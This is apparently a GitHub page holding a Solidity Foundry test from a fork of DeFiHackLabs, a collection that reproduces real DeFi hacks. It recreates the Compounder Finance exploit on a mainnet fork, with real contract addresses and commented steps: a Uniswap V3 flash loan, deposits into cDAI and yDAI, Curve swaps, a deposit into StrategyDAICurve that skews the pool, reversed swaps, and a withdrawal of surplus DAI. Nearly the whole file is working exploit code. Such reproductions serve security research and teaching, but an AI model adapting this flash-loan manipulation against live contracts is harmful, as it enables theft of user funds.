forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CompounderFinance_exp.sol
115 lines (91 loc) · 5.17 KB
/
CompounderFinance_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~27,174K USD$
// Attacker : https://etherscan.io/address/0x0e816b0d0a66252c72af822d3e0773a2676f3278
// Attack Contract : https://etherscan.io/address/0x2d7973177d594237a9b347cd41082af4cbb40f2b
// Vulnerable Contract : https://etherscan.io/address/0xaf274e912243b19b882f02d731dacd7cd13072d0
// Attack Tx : https://etherscan.io/tx/0xcff84cc137c92e427f720ca1f2b36fbad793f34ec5117eed127060686e6797b1
// @Analysis
// https://twitter.com/numencyber/status/1666346419702362112
interface IcDAI {
function balanceOf(address owner) external view returns (uint256);
function deposit(uint256 _amount, bool _autoStakeInStakingPool) external;
function withdraw(uint256 _shares, bool _autoWithdrawInStakingPool) external;
}
interface IyDAI {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function deposit(uint256 _amount) external;
function withdraw(uint256 _shares) external;
}
interface ICurveSwap {
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external;
}
interface IStrategyCurve {
function deposit() external;
}
contract ContractTest is Test {
IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
// Compounder DAI Stablecoin
IcDAI cDAI = IcDAI(0x2381742592ab54dC2e89f193AF682D914A8b24C1);
// iearn DAI
IyDAI yDAI = IyDAI(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
IERC20 yUSDC = IERC20(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
IERC20 yUSDT = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
IERC20 yTUSD = IERC20(0x73a052500105205d34Daf004eAb301916DA8190f);
IERC20 CentreUSDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
Uni_Pair_V3 DAIUSDCPool = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168);
ICurveSwap CurveFiSwap = ICurveSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
IStrategyCurve StrategyDAICurve = IStrategyCurve(0xaf274e912243b19B882f02d731dacd7CD13072D0);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet", 17_426_064);
cheats.label(address(DAI), "DAI");
cheats.label(address(cDAI), "cDAI");
cheats.label(address(yDAI), "yDAI");
cheats.label(address(yUSDC), "yUSDC");
cheats.label(address(yUSDT), "yUSDT");
cheats.label(address(yTUSD), "yTUSD");
cheats.label(address(CentreUSDC), "CentreUSDC");
cheats.label(address(DAIUSDCPool), "DAIUSDCPool");
cheats.label(address(CurveFiSwap), "CurveFiSwap");
cheats.label(address(StrategyDAICurve), "StrategyDAICurve");
}
function testExploit() public {
emit log_named_decimal_uint("Attacker amount of DAI before hack", DAI.balanceOf(address(this)), DAI.decimals());
// Step 1. Flashloan 1_239 DAI through Uniswap V3 flash loans
DAIUSDCPool.flash(address(this), 1_239_990 * 1e18, 0, "");
emit log_named_decimal_uint("Attacker amount of DAI after hack", DAI.balanceOf(address(this)), DAI.decimals());
}
function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
// Approvals
DAI.approve(address(yDAI), type(uint256).max);
DAI.approve(address(cDAI), type(uint256).max);
yDAI.approve(address(CurveFiSwap), type(uint256).max);
yUSDC.approve(address(CurveFiSwap), type(uint256).max);
yUSDT.approve(address(CurveFiSwap), type(uint256).max);
yTUSD.approve(address(CurveFiSwap), type(uint256).max);
// Step 2. Deposit 200_000 DAI and 1_000_000 DAI. Receive ~ 1_340_000 cDAI and 880_000 yDAI, respectively
cDAI.deposit(200_000 * 1e18, false);
yDAI.deposit(1_000_000 * 1e18);
// Step 3. Exchange 50_000 yDAI for ~41_000 yUSDC, 160,000 yDAI for ~94,000 yTUSD and the rest of yDAI balance for ~48,693,900 yUSDT
CurveFiSwap.exchange(0, 1, 50_000 * 1e18, 0);
CurveFiSwap.exchange(0, 3, 160_000 * 1e18, 0);
CurveFiSwap.exchange(0, 2, yDAI.balanceOf(address(this)), 0);
// Step 4. Withdraw deposit ~1_340_000 cDAI and immediately call the StrategyDAICurve deposit function
// This step involved depositing all the current DAI tokens into the contract and adding yDAI liquidity, which disrupted the balance of the trading pair
DAI.transfer(address(StrategyDAICurve), DAI.balanceOf(address(this)));
cDAI.withdraw(cDAI.balanceOf(address(this)), false);
StrategyDAICurve.deposit();
// Step 5. Reverse 3 conversions from step 3
CurveFiSwap.exchange(1, 0, yUSDC.balanceOf(address(this)), 0);
CurveFiSwap.exchange(2, 0, yUSDT.balanceOf(address(this)), 0);
CurveFiSwap.exchange(3, 0, yTUSD.balanceOf(address(this)), 0);
// Step 6. Release accumulated yDAI from deposit (~910_000 yDAI). The result of this step is withdrawal of ~1_030_000 DAI
yDAI.withdraw(yDAI.balanceOf(address(this)));
// Step 7. Repay flashloan.
DAI.transfer(address(DAIUSDCPool), 1_239_990 * 1e18 + fee0);
}
}